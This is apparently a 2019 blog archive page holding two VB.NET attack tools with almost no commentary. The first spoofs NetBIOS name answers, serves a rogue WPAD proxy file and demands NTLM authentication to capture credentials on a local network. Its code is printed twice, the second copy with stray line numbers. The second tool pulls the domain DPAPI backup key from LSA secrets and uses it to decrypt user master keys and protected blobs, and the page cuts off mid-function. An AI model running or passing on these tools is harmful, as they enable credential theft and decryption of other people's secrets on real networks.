July 2019 – ControllingTheInter.net

Hacking Netbios with missing DNS answers

Imports System.Net.Sockets
Imports System.Net
Imports System.Threading
Imports System.Text
Public Class Form1
    Dim MyIpAddress As String
    Dim MyIpSubnet As String
    Dim IPRange As String = 255
    Dim RedirectTo As String
    Private Sub Form1_FormClosing(ByVal sender As Object, ByVal e As System.Windows.Forms.FormClosingEventArgs) Handles Me.FormClosing
        End
    End Sub
    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        Encode("NTFS2")
        Decode("EOFEEGFDDCCACACACACACACACACACAAA")
        End
        Dim MyThread As New Thread(AddressOf WebServerThread)
        MyThread.IsBackground = True
        MyThread.Start()
        MyIpAddress = System.Net.Dns.GetHostByName(System.Net.Dns.GetHostName).AddressList(0).ToString
        Dim IpAddr() As String = MyIpAddress.Split(".")
        MyIpSubnet = IpAddr(0) &amp; "." &amp; IpAddr(1) &amp; "." &amp; IpAddr(2) &amp; "."
        Try
            Label1.Text = MyIpSubnet
            TextBox1.Text = "0"
        Catch ex As Exception
        End Try
        Try
            TextBox2.Text = MyIpAddress
        Catch ex As Exception
        End Try
    End Sub
    Private Sub Encode(ByVal NameToEncode As String)
        NameToEncode.PadRight(15, " ")
        Dim BytesToConvert() As Byte = System.Text.ASCIIEncoding.ASCII.GetBytes(NameToEncode)
        ReDim Preserve BytesToConvert(15)
        Debug.WriteLine(BytesToConvert.Length * 2)
        For i = 0 To BytesToConvert.Length - 1
            Dim FirstNibble As Integer = (CInt(BytesToConvert(i)) And &amp;HF0) &gt;&gt; 4
            Dim SecondNibble As Integer = CInt(BytesToConvert(i)) And &amp;HF
            FirstNibble += 65
            SecondNibble += 65
            Debug.Write(Chr(FirstNibble))
            Debug.Write(Chr(SecondNibble))
        Next
        Debug.WriteLine("")
    End Sub
    Private Function Decode(ByVal NameToResolve As String) As String
        Dim BytesToConvert() As Byte = System.Text.ASCIIEncoding.ASCII.GetBytes(NameToResolve)
        ReDim Preserve BytesToConvert(31)
        For i = 0 To BytesToConvert.Length - 1 Step 2
            BytesToConvert(i) -= 65
            BytesToConvert(i + 1) -= 65
            Dim FullByte As Integer = (BytesToConvert(i) &lt;&lt; 4) + BytesToConvert(i + 1)
            If FullByte &lt;&gt; 0 Then
                Debug.Write(Chr(FullByte))
                Decode &amp;= Chr(FullByte)
            End If
        Next
        Return Decode
    End Function
    Dim UdpPort_msg As Integer = 137
    Dim soUdp_msg As Socket
    Private Sub MyThreadFunc()
        Dim received_s As Byte() = New Byte(2047) {}
        Dim tmpIpEndPoint As New IPEndPoint(IPAddress.Any, UdpPort_msg)
        Dim remoteEP As EndPoint = (tmpIpEndPoint)
        Dim MyEndPoint As IPEndPoint
        While True
            While soUdp_msg.Poll(0, SelectMode.SelectRead)
                Dim sz As Integer = soUdp_msg.ReceiveFrom(received_s, remoteEP)
                ' do some work
                MyEndPoint = DirectCast(remoteEP, IPEndPoint)
                If IPRange &lt;&gt; "255" And IPRange &lt;&gt; "0" Then
                    If MyEndPoint.Address.ToString &lt;&gt; IPAddress.Parse(MyIpSubnet &amp; IPRange).ToString Then Continue While
                End If
                For i = 0 To sz - 1
                    If i &gt;= 13 And i &lt;= 45 Then
                        Debug.Write("-" &amp; Hex(received_s(i)) &amp; " ")
                    Else
                        Debug.Write(Hex(received_s(i)) &amp; " ")
                    End If
                Next
                Debug.WriteLine(vbCrLf &amp; "-----------------------------------------")
                Dim TransactionID() As Byte = {received_s(0), received_s(1)}
                Dim Flags() As Byte = {&amp;H85, &amp;H0}
                Dim Questions() As Byte = {&amp;H0, &amp;H0}
                Dim AnswerRRs() As Byte = {&amp;H0, &amp;H1}
                Dim AuthorityRRS() As Byte = {&amp;H0, &amp;H0}
                Dim AdditionalRRs() As Byte = {&amp;H0, &amp;H0}
                Dim Name As String = System.Text.ASCIIEncoding.ASCII.GetString(received_s, 13, 32)
                Debug.WriteLine("======== " &amp; Name &amp; " =====" &amp; MyEndPoint.Address.ToString &amp; "===")
                Dim TypeOfNB As Byte() = {received_s(46), received_s(47)}
                Dim TypeOfClass As Byte() = {received_s(48), received_s(49)}
                Dim TTL As Byte() = {&amp;H0, &amp;H4, &amp;H93, &amp;HE0}
                Dim DataLength As Byte() = {&amp;H0, &amp;H6}
                Dim FlagsBNode As Byte() = {&amp;H0, &amp;H0}
                Dim SpoofedIP As Byte() = {CInt(RedirectTo.Split(".")(0)), CInt(RedirectTo.Split(".")(1)), CInt(RedirectTo.Split(".")(2)), CInt(RedirectTo.Split(".")(3))}
                If IPRange &lt;&gt; 0 Then
                    TextBox3.Text &amp;= "Spoofed - " &amp; MyEndPoint.Address.ToString &amp; ": " &amp; Decode(Name).Trim &amp; vbCrLf
                Else
                    TextBox3.Text &amp;= "I Spy - " &amp; MyEndPoint.Address.ToString &amp; ": " &amp; Decode(Name).Trim &amp; vbCrLf
                    Application.DoEvents()
                    Thread.Sleep(50)
                    Continue While
                End If
                Dim ii As Int32 = 0
                Dim ResponseBuffer(61) As Byte
                ResponseBuffer(0) = TransactionID(0)
                ResponseBuffer(1) = TransactionID(1)
                ResponseBuffer(2) = Flags(0)
                ResponseBuffer(3) = Flags(1)
                ResponseBuffer(4) = Questions(0)
                ResponseBuffer(5) = Questions(1)
                ResponseBuffer(6) = AnswerRRs(0)
                ResponseBuffer(7) = AnswerRRs(1)
                ResponseBuffer(8) = AuthorityRRS(0)
                ResponseBuffer(9) = AuthorityRRS(1)
                ResponseBuffer(10) = AdditionalRRs(0)
                ResponseBuffer(11) = AdditionalRRs(1)
                ResponseBuffer(12) = &amp;H20 'Length Of response
                Array.Copy(received_s, 13, ResponseBuffer, 13, 32)
                ii = 46
                ResponseBuffer(ii) = TypeOfNB(0)
                ResponseBuffer(ii + 1) = TypeOfNB(1)
                ResponseBuffer(ii + 2) = TypeOfClass(0)
                ResponseBuffer(ii + 3) = TypeOfClass(1)
                ResponseBuffer(ii + 4) = TTL(0)
                ResponseBuffer(ii + 5) = TTL(1)
                ResponseBuffer(ii + 6) = TTL(2)
                ResponseBuffer(ii + 7) = TTL(3)
                ResponseBuffer(ii + 8) = DataLength(0)
                ResponseBuffer(ii + 9) = DataLength(1)
                ResponseBuffer(ii + 10) = FlagsBNode(0)
                ResponseBuffer(ii + 11) = FlagsBNode(1)
                ResponseBuffer(ii + 12) = SpoofedIP(0)
                ResponseBuffer(ii + 13) = SpoofedIP(1)
                ResponseBuffer(ii + 14) = SpoofedIP(2)
                ResponseBuffer(ii + 15) = SpoofedIP(3)
                'MyEndPoint.Address = IPAddress.Parse("10.6.13.89")
                soUdp_msg.SendTo(ResponseBuffer, MyEndPoint)
            End While
            Application.DoEvents()
            Thread.Sleep(50)
        End While
        ' sleep so receive thread does not dominate computer
    End Sub
    Private Sub WebServerThread()
        Dim serverSocket As New TcpListener(IPAddress.Any, 80)
        Dim requestCount As Integer
        Dim clientSocket As TcpClient
        serverSocket.Start()
        Debug.WriteLine("Server Started")
        clientSocket = serverSocket.AcceptTcpClient()
        Debug.WriteLine("Accept connection from client")
        requestCount = 0
        While (True)
            Try
                requestCount = requestCount + 1
                Dim networkStream As NetworkStream = clientSocket.GetStream()
                Dim bytesFrom(10024) As Byte
                networkStream.Read(bytesFrom, 0, CInt(clientSocket.ReceiveBufferSize))
                Dim dataFromClient As String = System.Text.Encoding.ASCII.GetString(bytesFrom)
                Debug.WriteLine("Data from client -  " + dataFromClient)
                Dim Response As String = vbNullString
                If dataFromClient.Contains("/favicon.ico") Or dataFromClient.Contains("GET / HTTP/") Then
                    Response = "HTTP/1.1 401 Unauthorized" &amp; vbCrLf &amp; _
                    "Content-Length: 0" &amp; vbCrLf &amp; _
                    "Content-Type: text/html" &amp; vbCrLf &amp; _
                    "Server: Microsoft-IIS/6.0" &amp; vbCrLf &amp; vbCrLf
                End If
                If dataFromClient.Contains("wpad.dat") Then
                    Dim PAC As String = "function FindProxyForURL(url, host) {return ""PROXY " &amp; System.Net.Dns.GetHostByName(System.Net.Dns.GetHostName).AddressList(0).ToString &amp; ":8080; DIRECT"";}"
                    Response = "HTTP/1.1 200 OK" &amp; vbCrLf &amp; "Content-Length: " &amp; PAC.Length &amp; vbCrLf &amp; "Content-Type: application/x-ns-proxy-autoconfig" &amp; vbCrLf &amp; vbCrLf &amp; PAC
                End If
                If dataFromClient.Contains("Auth") Then
                    Response = "HTTP/1.1 401 Unauthorized" &amp; vbCrLf &amp; _
                                        "Content-Length: 0" &amp; vbCrLf &amp; _
                                        "Content-Type: text/html" &amp; vbCrLf &amp; _
                                        "Server: Microsoft-IIS/6.0" &amp; vbCrLf &amp; _
                                        "WWW-Authenticate: Negotiate" &amp; vbCrLf &amp; _
                                        "WWW-Authenticate: NTLM" &amp; vbCrLf &amp; vbCrLf
                End If
                    Dim sendBytes As [Byte]() = Encoding.ASCII.GetBytes(Response)
                    networkStream.Write(sendBytes, 0, sendBytes.Length)
                    networkStream.Flush()
                    Debug.WriteLine(Response)
            Catch ex As Exception
                MsgBox(ex.ToString)
            End Try
        End While
        clientSocket.Close()
        serverSocket.Stop()
        Debug.WriteLine("exit")
    End Sub
    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        IPRange = TextBox1.Text
        RedirectTo = TextBox2.Text
        soUdp_msg = New Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp)
        Dim localIpEndPoint_msg As New IPEndPoint(IPAddress.Any, UdpPort_msg)
        soUdp_msg.Bind(localIpEndPoint_msg)
        Button1.Enabled = False
        MyThreadFunc()
        Exit Sub
        Dim Mythread As New Thread(AddressOf MyThreadFunc)
        Mythread.IsBackground = True
        Mythread.Start()
    End Sub
    Private Sub TextBox3_TextChanged(ByVal sender As Object, ByVal e As System.EventArgs) Handles TextBox3.TextChanged
        TextBox3.Select(TextBox3.Text.Length, 0)
        TextBox3.ScrollToCaret()
    End Sub
End Class

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

167

168

169

170

171

172

173

174

175

176

177

178

179

180

181

182

183

184

185

186

187

188

189

190

191

192

193

194

195

196

197

198

199

200

201

202

203

204

205

206

207

208

209

210

211

212

213

214

Imports System.Net.Sockets

Imports System.Net

Imports System.Threading

Imports System.Text

Public Class Form1

Dim MyIpAddress As String

Dim MyIpSubnet As String

Dim IPRange As String = 255

Dim RedirectTo As String

Private Sub Form1_FormClosing(ByVal sender As Object, ByVal e As System.Windows.Forms.FormClosingEventArgs) Handles Me.FormClosing

End

End Sub

Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load

Encode("NTFS2")

Decode("EOFEEGFDDCCACACACACACACACACACAAA")

End

Dim MyThread As New Thread(AddressOf WebServerThread)

MyThread.IsBackground = True

MyThread.Start()

MyIpAddress = System.Net.Dns.GetHostByName(System.Net.Dns.GetHostName).AddressList(0).ToString

Dim IpAddr() As String = MyIpAddress.Split(".")

MyIpSubnet = IpAddr(0) & "." & IpAddr(1) & "." & IpAddr(2) & "."

Try

Label1.Text = MyIpSubnet

TextBox1.Text = "0"

Catch ex As Exception

End Try

Try

TextBox2.Text = MyIpAddress

Catch ex As Exception

End Try

End Sub

Private Sub Encode(ByVal NameToEncode As String)

NameToEncode.PadRight(15, " ")

Dim BytesToConvert() As Byte = System.Text.ASCIIEncoding.ASCII.GetBytes(NameToEncode)

ReDim Preserve BytesToConvert(15)

Debug.WriteLine(BytesToConvert.Length * 2)

For i = 0 To BytesToConvert.Length - 1

Dim FirstNibble As Integer = (CInt(BytesToConvert(i)) And &HF0) >> 4

Dim SecondNibble As Integer = CInt(BytesToConvert(i)) And &HF

FirstNibble += 65

SecondNibble += 65

Debug.Write(Chr(FirstNibble))

Debug.Write(Chr(SecondNibble))

Debug.WriteLine("")

End Sub

Private Function Decode(ByVal NameToResolve As String) As String

Dim BytesToConvert() As Byte = System.Text.ASCIIEncoding.ASCII.GetBytes(NameToResolve)

ReDim Preserve BytesToConvert(31)

For i = 0 To BytesToConvert.Length - 1 Step 2

BytesToConvert(i) -= 65

BytesToConvert(i + 1) -= 65

Dim FullByte As Integer = (BytesToConvert(i) << 4) + BytesToConvert(i + 1)

If FullByte <> 0 Then

Debug.Write(Chr(FullByte))

Decode &= Chr(FullByte)

End If

Return Decode

End Function

Dim UdpPort_msg As Integer = 137

Dim soUdp_msg As Socket

Private Sub MyThreadFunc()

Dim received_s As Byte() = New Byte(2047) {}

Dim tmpIpEndPoint As New IPEndPoint(IPAddress.Any, UdpPort_msg)

Dim remoteEP As EndPoint = (tmpIpEndPoint)

Dim MyEndPoint As IPEndPoint

While True

While soUdp_msg.Poll(0, SelectMode.SelectRead)

Dim sz As Integer = soUdp_msg.ReceiveFrom(received_s, remoteEP)

' do some work

MyEndPoint = DirectCast(remoteEP, IPEndPoint)

If IPRange <> "255" And IPRange <> "0" Then

If MyEndPoint.Address.ToString <> IPAddress.Parse(MyIpSubnet & IPRange).ToString Then Continue While

End If

For i = 0 To sz - 1

If i >= 13 And i <= 45 Then

Debug.Write("-" & Hex(received_s(i)) & " ")

Else

Debug.Write(Hex(received_s(i)) & " ")

End If

Debug.WriteLine(vbCrLf & "-----------------------------------------")

Dim TransactionID() As Byte = {received_s(0), received_s(1)}

Dim Flags() As Byte = {&H85, &H0}

Dim Questions() As Byte = {&H0, &H0}

Dim AnswerRRs() As Byte = {&H0, &H1}

Dim AuthorityRRS() As Byte = {&H0, &H0}

Dim AdditionalRRs() As Byte = {&H0, &H0}

Dim Name As String = System.Text.ASCIIEncoding.ASCII.GetString(received_s, 13, 32)

Debug.WriteLine("======== " & Name & " =====" & MyEndPoint.Address.ToString & "===")

Dim TypeOfNB As Byte() = {received_s(46), received_s(47)}

Dim TypeOfClass As Byte() = {received_s(48), received_s(49)}

Dim TTL As Byte() = {&H0, &H4, &H93, &HE0}

Dim DataLength As Byte() = {&H0, &H6}

Dim FlagsBNode As Byte() = {&H0, &H0}

Dim SpoofedIP As Byte() = {CInt(RedirectTo.Split(".")(0)), CInt(RedirectTo.Split(".")(1)), CInt(RedirectTo.Split(".")(2)), CInt(RedirectTo.Split(".")(3))}

If IPRange <> 0 Then

TextBox3.Text &= "Spoofed - " & MyEndPoint.Address.ToString & ": " & Decode(Name).Trim & vbCrLf

Else

TextBox3.Text &= "I Spy - " & MyEndPoint.Address.ToString & ": " & Decode(Name).Trim & vbCrLf

Application.DoEvents()

Thread.Sleep(50)

Continue While

End If

Dim ii As Int32 = 0

Dim ResponseBuffer(61) As Byte

ResponseBuffer(0) = TransactionID(0)

ResponseBuffer(1) = TransactionID(1)

ResponseBuffer(2) = Flags(0)

ResponseBuffer(3) = Flags(1)

ResponseBuffer(4) = Questions(0)

ResponseBuffer(5) = Questions(1)

ResponseBuffer(6) = AnswerRRs(0)

ResponseBuffer(7) = AnswerRRs(1)

ResponseBuffer(8) = AuthorityRRS(0)

ResponseBuffer(9) = AuthorityRRS(1)

ResponseBuffer(10) = AdditionalRRs(0)

ResponseBuffer(11) = AdditionalRRs(1)

ResponseBuffer(12) = &H20 'Length Of response

Array.Copy(received_s, 13, ResponseBuffer, 13, 32)

ii = 46

ResponseBuffer(ii) = TypeOfNB(0)

ResponseBuffer(ii + 1) = TypeOfNB(1)

ResponseBuffer(ii + 2) = TypeOfClass(0)

ResponseBuffer(ii + 3) = TypeOfClass(1)

ResponseBuffer(ii + 4) = TTL(0)

ResponseBuffer(ii + 5) = TTL(1)

ResponseBuffer(ii + 6) = TTL(2)

ResponseBuffer(ii + 7) = TTL(3)

ResponseBuffer(ii + 8) = DataLength(0)

ResponseBuffer(ii + 9) = DataLength(1)

ResponseBuffer(ii + 10) = FlagsBNode(0)

ResponseBuffer(ii + 11) = FlagsBNode(1)

ResponseBuffer(ii + 12) = SpoofedIP(0)

ResponseBuffer(ii + 13) = SpoofedIP(1)

ResponseBuffer(ii + 14) = SpoofedIP(2)

ResponseBuffer(ii + 15) = SpoofedIP(3)

'MyEndPoint.Address = IPAddress.Parse("10.6.13.89")

soUdp_msg.SendTo(ResponseBuffer, MyEndPoint)

End While

Application.DoEvents()

Thread.Sleep(50)

End While

' sleep so receive thread does not dominate computer

End Sub

Private Sub WebServerThread()

Dim serverSocket As New TcpListener(IPAddress.Any, 80)

Dim requestCount As Integer

Dim clientSocket As TcpClient

serverSocket.Start()

Debug.WriteLine("Server Started")

clientSocket = serverSocket.AcceptTcpClient()

Debug.WriteLine("Accept connection from client")

requestCount = 0

While (True)

Try

requestCount = requestCount + 1

Dim networkStream As NetworkStream = clientSocket.GetStream()

Dim bytesFrom(10024) As Byte

networkStream.Read(bytesFrom, 0, CInt(clientSocket.ReceiveBufferSize))

Dim dataFromClient As String = System.Text.Encoding.ASCII.GetString(bytesFrom)

Debug.WriteLine("Data from client - " + dataFromClient)

Dim Response As String = vbNullString

If dataFromClient.Contains("/favicon.ico") Or dataFromClient.Contains("GET / HTTP/") Then

Response = "HTTP/1.1 401 Unauthorized" & vbCrLf & _

"Content-Length: 0" & vbCrLf & _

"Content-Type: text/html" & vbCrLf & _

"Server: Microsoft-IIS/6.0" & vbCrLf & vbCrLf

End If

If dataFromClient.Contains("wpad.dat") Then

Dim PAC As String = "function FindProxyForURL(url, host) {return ""PROXY " & System.Net.Dns.GetHostByName(System.Net.Dns.GetHostName).AddressList(0).ToString & ":8080; DIRECT"";}"

Response = "HTTP/1.1 200 OK" & vbCrLf & "Content-Length: " & PAC.Length & vbCrLf & "Content-Type: application/x-ns-proxy-autoconfig" & vbCrLf & vbCrLf & PAC

End If

If dataFromClient.Contains("Auth") Then

Response = "HTTP/1.1 401 Unauthorized" & vbCrLf & _

"Content-Length: 0" & vbCrLf & _

"Content-Type: text/html" & vbCrLf & _

"Server: Microsoft-IIS/6.0" & vbCrLf & _

"WWW-Authenticate: Negotiate" & vbCrLf & _

"WWW-Authenticate: NTLM" & vbCrLf & vbCrLf

End If

Dim sendBytes As [Byte]() = Encoding.ASCII.GetBytes(Response)

networkStream.Write(sendBytes, 0, sendBytes.Length)

networkStream.Flush()

Debug.WriteLine(Response)

Catch ex As Exception

MsgBox(ex.ToString)

End Try

End While

clientSocket.Close()

serverSocket.Stop()

Debug.WriteLine("exit")

End Sub

Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click

IPRange = TextBox1.Text

RedirectTo = TextBox2.Text

soUdp_msg = New Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp)

Dim localIpEndPoint_msg As New IPEndPoint(IPAddress.Any, UdpPort_msg)

soUdp_msg.Bind(localIpEndPoint_msg)

Button1.Enabled = False

MyThreadFunc()

Exit Sub

Dim Mythread As New Thread(AddressOf MyThreadFunc)

Mythread.IsBackground = True

Mythread.Start()

End Sub

Private Sub TextBox3_TextChanged(ByVal sender As Object, ByVal e As System.EventArgs) Handles TextBox3.TextChanged

TextBox3.Select(TextBox3.Text.Length, 0)

TextBox3.ScrollToCaret()

End Sub

End Class

Decrypting DPAPI Offline with Protected Keys in folder

Imports System
Imports System.Text
Imports System.Runtime.InteropServices
Imports System.ComponentModel
Imports Microsoft.VisualBasic
Imports System.Security.Cryptography
Imports System.Security.Principal
Imports System.Text.RegularExpressions
Imports System.IO
Imports System.Xml
Imports System.Security
Public Class Form1
    Dim GMappings As New Dictionary(Of String, String)
    Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
        'Use this website to generate the Base64 values from the Hex Strings
        'https://base64.guru/converter/encode/hex
        Try
            Dim pvk64 As String = "HvG1sAAAAAABAAAAAAAAAAAAAACUBAAABwIAAACkAABSU0EyAAgAAAEAAQCNx+xLTsR+xN3d0mRGbmG  PLACE YOUR MASTER KEY HERE  fzhSXebHVG+2Ea2F6BihR8="
            Dim backupKeyBytes As Byte() = Convert.FromBase64String(pvk64)
            Dim Localmappings As Dictionary(Of String, String) = Triage.TriageUserMasterKeys(backupKeyBytes, False)
            Localmappings = Triage.TriageUserMasterKeys(backupKeyBytes, False)
            Dim CustomMappings As Dictionary(Of String, String) = Triage.TriageUserMasterKeys(backupKeyBytes, False)
            CustomMappings = Triage.LoadKeysFromFolder(backupKeyBytes, "C:\Users\MyUserName\Desktop\New folder\Protect")
            GMappings = Localmappings.Union(CustomMappings).ToDictionary(Function(p) p.Key, Function(p) p.Value)
            If GMappings.Count = 0 Then
                Console.WriteLine("[!] No master keys decrypted!" &amp; vbCrLf)
            Else
                Console.WriteLine("[*] User master key cache:" &amp; vbCrLf)
                For Each kvp As KeyValuePair(Of String, String) In GMappings
                    Console.WriteLine("{0}:{1}", kvp.Key, kvp.Value)
                Next
                Console.WriteLine()
            End If
            DecryptTest()
        Catch ex As Exception
            While Not (ex Is Nothing)
                Console.WriteLine(ex.Message)
                ex = ex.InnerException
            End While
        End Try
    End Sub
    Private Sub NativeDecryptTest()
        Dim text As String = "ThisIsMyEncrptedTest"
        Dim entropy As String = Nothing
        Dim description As String
        Dim encrypted As String
        Dim decrypted As String
        Console.WriteLine("Plaintext: {0}" &amp; Chr(13) &amp; Chr(10), text)
        ' Call DPAPI to encrypt data with user-specific key.
        encrypted = DPAPI.Encrypt(DPAPI.KeyType.UserKey, text, entropy, "")
        Console.WriteLine("Encrypted with Userkey: {0}" &amp; Chr(13) &amp; Chr(10), encrypted)
        ' Call DPAPI to encrypt data with user-specific key.
        encrypted = DPAPI.Encrypt(DPAPI.KeyType.MachineKey, text, entropy, "")
        Console.WriteLine("Encrypted with SystemKey: {0}" &amp; Chr(13) &amp; Chr(10), encrypted)
        ' Call DPAPI to decrypt data.
        decrypted = DPAPI.Decrypt(encrypted, entropy, description)
        Console.WriteLine("Decrypted: {0} &lt;&lt;&lt;{1}&gt;&gt;&gt;" &amp; Chr(13) &amp; Chr(10), decrypted, description)
    End Sub
    Private Sub DecryptTest()
        Dim blobBytes As Byte()
        blobBytes = Convert.FromBase64String("AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAvasm9fxHbkGMktix41J5OAAAAAACAAAAAAADZgAAwAAAABAAAABXxVa3PA56MLNMVKnrdAgfAAAAAASAAACgAAAAEAAAAKwDfmoDSCAXkpDJrW32/bEQAAAA53DM14+h1XhH9DHztLkMnhQAAABRRkW7ulBuOJP2wOHKDJ4OyWo6LA==")
        Dim decBytes As Byte() = DPAPI.DescribeDPAPIBlob(blobBytes, GMappings, "blob")
        If decBytes.Length &lt;&gt; 0 Then
            Console.WriteLine()
            If Helpers.IsUnicode(decBytes) Then
                Console.WriteLine("    dec(blob)        : {0}", System.Text.Encoding.Unicode.GetString(decBytes))
            Else
                Dim b64DecBytesString As String = BitConverter.ToString(decBytes).Replace("-", " ")
                Console.WriteLine("    dec(blob)        : {0}", b64DecBytesString)
                Console.WriteLine(System.Text.ASCIIEncoding.ASCII.GetString(decBytes))
            End If
        End If
    End Sub
    Private Sub RichTextBox1_TextChanged(sender As Object, e As EventArgs) Handles RichTextBox1.TextChanged
        Try
            Dim blobBytes As Byte()
            'blobBytes = StringToByteArray("01000000d08c9ddf0115d1118c7a00c04fc297eb01000000bdab26f5fc476e418c92d8b1e35279380000000002000000000003660000c00000001000000057c556b73c0e7a30b34c54a9eb74081f0000000004800000a000000010000000ac037e6a034820179290c9ad6df6fdb110000000e770ccd78fa1d57847f431f3b4b90c9e14000000514645bbba506e3893f6c0e1ca0c9e0ec96a3a2c")
            blobBytes = StringToByteArray(RichTextBox1.Text.Trim.Replace(vbCr, "").Replace(vbLf, ""))
            Dim decBytes As Byte() = DPAPI.DescribeDPAPIBlob(blobBytes, GMappings, "blob")
            If decBytes.Length &lt;&gt; 0 Then
                TextBox2.Text = ""
                If Helpers.IsUnicode(decBytes) Then
                    TextBox2.Text &amp;= ("    dec(blob)        : " &amp; System.Text.Encoding.Unicode.GetString(decBytes))
                Else
                    Dim b64DecBytesString As String = BitConverter.ToString(decBytes).Replace("-", " ")
                    TextBox2.Text &amp;= ("    dec(blob)        : " &amp; b64DecBytesString)
                    TextBox2.Text &amp;= vbCrLf &amp; "Value: " &amp; System.Text.ASCIIEncoding.ASCII.GetString(decBytes)
                End If
            End If
        Catch ex As Exception
            TextBox2.Text = "Unable to display"
        End Try
    End Sub
    Public Shared Function StringToByteArray(s As String) As Byte()
        ' remove any spaces from, e.g. "A0 20 34 34"
        s = s.Replace(" "c, "")
        ' make sure we have an even number of digits
        If (s.Length And 1) = 1 Then
            Throw New FormatException("Odd string length when even string length Is required.")
        End If
        ' calculate the length of the byte array and dim an array to that
        Dim nBytes = s.Length \ 2
        Dim a(nBytes - 1) As Byte
        ' pick out every two bytes and convert them from hex representation
        For i = 0 To nBytes - 1
            a(i) = Convert.ToByte(s.Substring(i * 2, 2), 16)
        Next
        Return a
    End Function
End Class
Public Class Backup
    Public Shared Sub GetBackupKey(ByVal system As String, ByVal Optional outFile As String = "")
        Dim aSystemName As Interop.LSA_UNICODE_STRING = New Interop.LSA_UNICODE_STRING(system)
        Dim aWinErrorCode As UInteger = 0
        Dim LsaPolicyHandle = IntPtr.Zero
        Dim aObjectAttributes As Interop.LSA_OBJECT_ATTRIBUTES = New Interop.LSA_OBJECT_ATTRIBUTES
        aObjectAttributes.Length = 0
        aObjectAttributes.RootDirectory = IntPtr.Zero
        aObjectAttributes.Attributes = 0
        aObjectAttributes.SecurityDescriptor = IntPtr.Zero
        aObjectAttributes.SecurityQualityOfService = IntPtr.Zero
        Dim aOpenPolicyResult As UInteger = Interop.LsaOpenPolicy(aSystemName, aObjectAttributes, CUInt(Interop.LSA_AccessPolicy.POLICY_GET_PRIVATE_INFORMATION), LsaPolicyHandle)
        aWinErrorCode = Interop.LsaNtStatusToWinError(aOpenPolicyResult)
        If aWinErrorCode = &amp;H0 Then
            Dim PrivateData = IntPtr.Zero
            Dim secretName As Interop.LSA_UNICODE_STRING = New Interop.LSA_UNICODE_STRING("G$BCKUPKEY_PREFERRED")
            Dim ntsResult As UInteger = Interop.LsaRetrievePrivateData(LsaPolicyHandle, secretName, PrivateData)
            If ntsResult &lt;&gt; 0 Then
                Dim winErrorCode As UInteger = Interop.LsaNtStatusToWinError(ntsResult)
                Dim errorMessage As String = New Win32Exception(CInt(winErrorCode)).Message
                Console.WriteLine("  [X] Error calling LsaRetrievePrivateData {0} :  {1}", winErrorCode, errorMessage)
                Return
            End If
            Dim lusSecretData As Interop.LSA_UNICODE_STRING = CType(Marshal.PtrToStructure(PrivateData, GetType(Interop.LSA_UNICODE_STRING)), Interop.LSA_UNICODE_STRING)
            Dim guidBytes = New Byte(lusSecretData.Length - 1) {}
            Marshal.Copy(lusSecretData.buffer, guidBytes, 0, lusSecretData.Length)
            Dim backupKeyGuid = New Guid(guidBytes)
            Console.WriteLine("[*] Preferred backupkey Guid         : {0}", backupKeyGuid.ToString)
            Dim backupKeyName = String.Format("G$BCKUPKEY_{0}", backupKeyGuid.ToString)
            Console.WriteLine("[*] Full preferred backupKeyName     : {0}", backupKeyName)
            Dim backupKeyLSA As Interop.LSA_UNICODE_STRING = New Interop.LSA_UNICODE_STRING(backupKeyName)
            Dim PrivateDataKey = IntPtr.Zero
            Dim ntsResult2 As UInteger = Interop.LsaRetrievePrivateData(LsaPolicyHandle, backupKeyLSA, PrivateDataKey)
            If ntsResult2 &lt;&gt; 0 Then
                Dim winErrorCode As UInteger = Interop.LsaNtStatusToWinError(ntsResult2)
                Dim errorMessage As String = New Win32Exception(CInt(winErrorCode)).Message
                Console.WriteLine(vbCrLf &amp; "[X] Error calling LsaRetrievePrivateData ({0}) : {1}" &amp; vbCrLf, winErrorCode, errorMessage)
                Return
            End If
            Dim backupKeyBytes As Interop.LSA_UNICODE_STRING = CType(Marshal.PtrToStructure(PrivateDataKey, GetType(Interop.LSA_UNICODE_STRING)), Interop.LSA_UNICODE_STRING)
            Dim backupKey = New Byte(backupKeyBytes.Length - 1) {}
            Marshal.Copy(backupKeyBytes.buffer, backupKey, 0, backupKeyBytes.Length)
            Dim versionArray = New Byte(3) {}
            Array.Copy(backupKey, 0, versionArray, 0, 4)
            Dim version = BitConverter.ToInt32(versionArray, 0)
            Dim keyLenArray = New Byte(3) {}
            Array.Copy(backupKey, 4, keyLenArray, 0, 4)
            Dim keyLen = BitConverter.ToInt32(keyLenArray, 0)
            Dim certLenArray = New Byte(3) {}
            Array.Copy(backupKey, 8, certLenArray, 0, 4)
            Dim certLen = BitConverter.ToInt32(certLenArray, 0)
            Dim backupKeyPVK = New Byte(keyLen + 24 - 1) {}
            Array.Copy(backupKey, 12, backupKeyPVK, 24, keyLen)
            backupKeyPVK(0) = &amp;H1E
            backupKeyPVK(1) = &amp;HF1
            backupKeyPVK(2) = &amp;HB5
            backupKeyPVK(3) = &amp;HB0
            backupKeyPVK(8) = 1
            Dim lenBytes = BitConverter.GetBytes(CUInt(keyLen))
            Array.Copy(lenBytes, 0, backupKeyPVK, 20, 4)
            Dim Key As String = Nothing
            If String.IsNullOrEmpty(outFile) Then
                Dim base64Key = Convert.ToBase64String(backupKeyPVK)
                Console.WriteLine("[*] Key :")
                For Each line As String In Helpers.Split(base64Key, 80)
                    Console.WriteLine("          {0}", line)
                    Key &amp;= line
                Next
            Else
                Dim fs As FileStream = File.Create(outFile)
                Dim bw = New BinaryWriter(fs)
                bw.Write(backupKeyPVK)
                bw.Close()
                fs.Close()
                Console.WriteLine("[*] Backup key written to            : {0}", outFile)
            End If
            Interop.LsaFreeMemory(PrivateData)
            Interop.LsaClose(LsaPolicyHandle)
        Else
